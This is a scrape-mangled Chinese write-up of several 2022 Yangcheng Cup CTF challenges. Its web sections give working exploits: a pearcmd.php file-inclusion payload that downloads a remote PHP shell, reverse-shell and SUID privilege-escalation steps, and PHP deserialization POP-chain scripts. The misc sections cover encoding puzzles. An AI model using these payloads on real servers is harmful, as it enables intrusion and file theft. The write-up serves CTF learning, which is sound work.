WEB
rce_me
题目给了源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
(empty($_GET[
"file"
])) ?highlight_file(__FILE__) : $
file
=
$_GET[
"file"
];
functionfliter($var):
bool
{
$blacklist
=
[
"<"
,
"?"
,
"$"
,
"["
,
"]"
,
";"
,
"eval"
,
">"
,
"@"
,
"_"
,
"create"
,
"install"
,
"pear"
];
foreach($blacklistas$blackword){
if
(stristr($var, $blackword)) returnFalse;
}
returnTrue;
}
if
(fliter($_SERVER[
"QUERY_STRING"
]))
{
include$
file
;
}
else
{
die(
"Noooo0"
);
}
|
题目提示要rce,而漏洞的利用点是一个include文件包含,
php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用
直接包含flag回显权限不够,所以考虑rce提权
黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE
首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php
pearcmd的常见思路是写文件getshell
1
|
?
+
config
-
create
+
/
&
file
=
/
usr
/
local
/
lib
/
php
/
pearcmd.php&
/
<?
=
phpinfo()?>
+
/
tmp
/
hello.php
|
但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php
但是在写文件时却不能采用此方法,$_SERVER["QUERY_STRING"]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败
所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着不受allow_url_include的影响,因此可以实现远程文件下载
payload:
1
|
http:
/
/
80.endpoint
-
de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:
81
&&
+
download
+
http:
/
/
ip:port
/
shell.php
|
利用一句话木马反弹shell,再进行一个suid的提权
payload:
1
|
find
/
-
perm
-
u
=
s
-
type
f
2
>
/
dev
/
null
|
final payload:
1
|
/
usr
/
bin
/
date
-
f
/
flag
|
step_by_step-v3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
<?php
error_reporting(
0
);
classyang
{
public$y1;
/
/
$y1
=
new bei() $y1
=
new cheng()
publicfunction__construct()
{
$this
-
>y1
-
>magic();
/
/
访问 __call()
}
publicfunction__tostring()
{
($this
-
>y1)();
/
/
phpinfo()
}
publicfunctionhint()
{
include_once(
'hint.php'
);
if
(isset($_GET[
'file'
]))
{
$
file
=
$_GET[
'file'
];
if
(preg_match(
"/$hey_mean_then/is"
, $
file
))
{
die(
"nonono"
);
}
include_once($
file
);
}
}
}
classcheng
{
public$c1;
/
/
$c1
=
new yang()
publicfunction__wakeup()
{
$this
-
>c1
-
>flag
=
'flag'
;
}
publicfunction__invoke()
{
$this
-
>c1
-
>hint();
/
/
hint
}
}
classbei
{
public$b1;
/
/
$b1
=
new yang()
public$b2;
publicfunction__set($k1,$k2)
/
/
不可访问的变量赋值
{
print
$this
-
>b1;
}
publicfunction__call($n1,$n2)
{
echo$this
-
>b1;
}
}
if
(isset($_POST[
'ans'
])) {
unserialize($_POST[
'ans'
]);
}
else
{
highlight_file(__FILE__);
}
?>
|
利用点在
1
2
3
4
|
publicfunction__tostring()
{
($this
-
>y1)();
/
/
phpinfo()
}
|
可以读取到phpinfo
起始点在cheng::__wakeup
pop:
1
|
cheng::__wakeup
-
>bei::__set
-
> yang::__tostring
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
/
/
cheng::__wakeup
-
>bei::__set
-
> yang::__tostring
classyang{
public$y1;
publicfunction__construct($y1){
$this
-
>y1
=
$y1;
}
}
classcheng{
public$c1;
publicfunction__construct($c1)
{
$this
-
>c1
=
$c1;
}
}
classbei{
public$b1;
publicfunction__construct($b1){
$this
-
>b1
=
$b1;
}
}
$ya
=
newcheng(newbei(newyang(
'phpinfo'
)));
$ser
=
serialize($ya);
echo$ser;
echourlencode($ser);
?>
|
Safe pop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
<?php
error_reporting(E_ALL);
ini_set(
'display_errors'
, true);
highlight_file(__FILE__);
classFun{
private$func
=
'call_user_func_array'
;
publicfunction__call($f,$p){
call_user_func($this
-
>func,$f,$p);
}
publicfunction__wakeup(){
$this
-
>func
=
'';
die(
"Don't serialize me"
);
}
}
classTest{
publicfunctiongetFlag(){
system(
"cat /flag?"
);
}
publicfunction__call($f,$p){
phpinfo();
}
publicfunction__wakeup(){
echo
"serialize me?"
;
classA{
private$a;
publicfunction__get($p){
if
(preg_match(
"/Test/"
,get_class($this
-
>a))){
return
"No test in Prod\n"
;
}
return
$this
-
>a
-
>$p();
}
}
classB{
public$p;
publicfunction__destruct(){
$p
=
$this
-
>p;
echo$this
-
>a
-
>$p;
}
}
if
(isset($_GET[
'pop'
])){
$pop
=
$_GET[
'pop'
];
$o
=
unserialize($pop);
thrownewException(
"no pop"
);
}
|
题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct
为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发,
1
|
__call()
/
/
在对象中调用一个不可访问方法时调用
|
注意到class A有一个
1
|
return
$this
-
>a
-
>$p();
|
p可控,只要让他成为一个不可访问的方法即可触发call
1
|
__get() :当从不可访问的属性读取数据。例如从对象外部访问由private和protect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名
|
class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子
pop:
1
|
b::__destruct()
-
> a::__get()
-
> Fun::__call()
-
> Test::getFlag
|
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<?php
class
Fun{
}
class
A{
public $a;
public function __construct($a){
$this
-
> a
=
$a;
}
}
class
B{
public $p;
public $a;
public function __construct($p,$a){
$this
-
> p
=
$p;
$this
-
> a
=
$a;
}
}
$b
=
new B(new A(new Fun()),
"Test::getFlag"
);
echo serialize($b);
$arr
=
array($b,null);
$serstr
=
serialize($arr);
$serstr
=
str_replace(
":0:{}"
,
":1:{}"
, $serstr);
$serstr
=
str_replace(
":1;N"
,
":0;N"
, $serstr);
echo $serstr;
echo
'<br/>'
;
echo urlencode($serstr);
?>
|
这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法
1
|
throw new Exception(
"no pop"
);
|
这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象
%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%84%E7%A7%8D%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/)
misc
签到
给了一段编码
值得注意的是文件名33.txt
1
|
ZMJTPM33TMFGPA3STZ2JVBYSZRMGBZELT44QDLEET5GQTMEITIFJZZOMTH4K2
=
=
=
|
这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么
尝试rot13先解一次码,再base32成功得到flag
where_is_secret
给了一张图片,并在hint中给了encode脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
fromPILimportImage
importmath
defencode(text):
str_len
=
len
(text)
width
=
math.ceil(str_len
*
*
0.5
)
im
=
Image.new(
"RGB"
, (width, width),
0x0
)
x, y
=
0
,
0
foriintext:
index
=
ord
(i)
rgb
=
(
0
, (index&
0xFF00
) >>
8
, index&
0xFF
)
im.putpixel((x, y), rgb)
ifx
=
=
width
-
1
:
x
=
0
y
+
=
1
else
:
x
+
=
1
returnim
if__name__
=
=
'__main__'
:
withopen(
"829962.txt"
, encoding
=
"gbk"
) asf:
all_text
=
f.read()
im
=
encode(all_text)
im.save(
"out.bmp"
)
|
分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
fromPILimportImage
img
=
Image.
open
(
'out.bmp'
)
x, y
=
img.size
flag
=
""
flag1
=
""
withopen(
'ans.txt'
) asf:
foriinrange(x):
forjinrange(y):
pix
=
img.getpixel((j, i))
index
=
(pix[
1
] <<
8
)
+
pix[
2
]
flag
=
flag
+
chr
(index)
foriinrange(
1
,
len
(flag)
-
1
):
print
(flag[i])
if
(((
ord
(flag[i])<
=
125andord
(flag[i])>
=
97
)
or
(
ord
(flag[i])<
=
57andord
(flag[i])>
=
48
)
or
(
ord
(flag[i])<
=
95andord
(flag[i])>
=
65
))
and
(
ord
(flag[i
+
1
])>
125orord
(flag[i
+
1
])<
48
)
and
(
ord
(flag[i
-
1
])>
125orord
(flag[i
-
1
])<
48
) orord(flag[i])
=
=
95
):
flag1
=
flag1
+
"@"
+
flag[i
-
1
]
+
flag[i]
+
flag[i
+
1
]
print
(flag1)
|
得到的是一段中文,在里面穿插了flag
由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍
完结(关于pop的部分,之后会再做一个比较详细的整理,敬请期待)
更多【【2022 羊城杯】 WP(部分)】相关视频教程:www.yxfzedu.com